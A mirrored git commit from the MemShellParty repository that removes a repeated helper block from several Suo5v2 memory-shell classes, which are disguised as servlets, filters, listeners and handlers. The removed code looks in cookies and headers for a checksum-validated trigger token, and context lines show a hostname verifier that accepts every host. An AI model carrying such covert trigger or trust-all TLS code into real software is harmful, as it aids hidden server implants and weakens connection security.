mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 08:21:52 +08:00
feat: remove uneeded code
This commit is contained in:
-103
@@ -988,109 +988,6 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -993,109 +993,6 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -1005,109 +1005,6 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -1004,109 +1004,6 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -999,109 +999,6 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -987,109 +987,6 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -990,109 +990,6 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
|
}
|
||||||
|
|
||||||
private int toOffset(byte[] bs) {
|
|
||||||
if (bs == null || bs.length != 4) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
bs = base64UrlDecode(new String(bs));
|
|
||||||
return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF);
|
|
||||||
} catch (Exception e) {
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private String getOffset(HttpServletRequest request) {
|
|
||||||
String cookieValue = request.getHeader("Cookie");
|
|
||||||
if (cookieValue != null && cookieValue.length() > 0) {
|
|
||||||
ArrayList cookieVals = cookieValues(cookieValue);
|
|
||||||
for (int i = 0; i < cookieVals.size(); i++) {
|
|
||||||
String val = (String) cookieVals.get(i);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Enumeration headerNames = request.getHeaderNames();
|
|
||||||
while (headerNames != null && headerNames.hasMoreElements()) {
|
|
||||||
String headerName = (String) headerNames.nextElement();
|
|
||||||
String val = request.getHeader(headerName);
|
|
||||||
if (val.length() >= 12) {
|
|
||||||
if (is_valid(val.substring(val.length() - 8), 430) != null) {
|
|
||||||
return val;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] is_valid(String data, int sum) {
|
|
||||||
try {
|
|
||||||
byte[] result = base64UrlDecode(data);
|
|
||||||
if (result.length < 6) {
|
|
||||||
return null;
|
|
||||||
} else {
|
|
||||||
int i = result.length - 2;
|
|
||||||
int j = result.length - 3;
|
|
||||||
int p = result.length - 5;
|
|
||||||
int q = result.length - 6;
|
|
||||||
boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum;
|
|
||||||
return valid ? result : null;
|
|
||||||
}
|
|
||||||
} catch (Exception var8) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private boolean isOdd(int i) {
|
|
||||||
return (i & 1) == 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
private int toUInt(byte x) {
|
|
||||||
return x & 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String md5(byte[] content) {
|
|
||||||
MessageDigest md = null;
|
|
||||||
try {
|
|
||||||
md = MessageDigest.getInstance("MD5");
|
|
||||||
} catch (NoSuchAlgorithmException e) {
|
|
||||||
throw new RuntimeException(e);
|
|
||||||
}
|
|
||||||
byte[] md5Bytes = md.digest(content);
|
|
||||||
// no String.format in java1.4
|
|
||||||
StringBuffer sb = new StringBuffer();
|
|
||||||
for (int i = 0; i < md5Bytes.length; i++) {
|
|
||||||
byte b = md5Bytes[i];
|
|
||||||
int value = b & 0xFF;
|
|
||||||
if (value < 16) {
|
|
||||||
sb.append('0');
|
|
||||||
}
|
|
||||||
sb.append(Integer.toHexString(value));
|
|
||||||
}
|
|
||||||
return sb.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private ArrayList cookieValues(String cookieValue) {
|
|
||||||
ArrayList values = new ArrayList();
|
|
||||||
String[] cookiePairs = cookieValue.split(";");
|
|
||||||
|
|
||||||
for (int i = 0; i < cookiePairs.length; i++) {
|
|
||||||
String pair = cookiePairs[i];
|
|
||||||
String[] keyValue = pair.split("=", 2);
|
|
||||||
if (keyValue.length >= 2) {
|
|
||||||
values.add(keyValue[1].trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return values;
|
|
||||||
}
|
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|||||||
-103
@@ -990,109 +990,6 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
|
|||||||
return new String(randomChars);
|
return new String(randomChars);
|
||||||
}
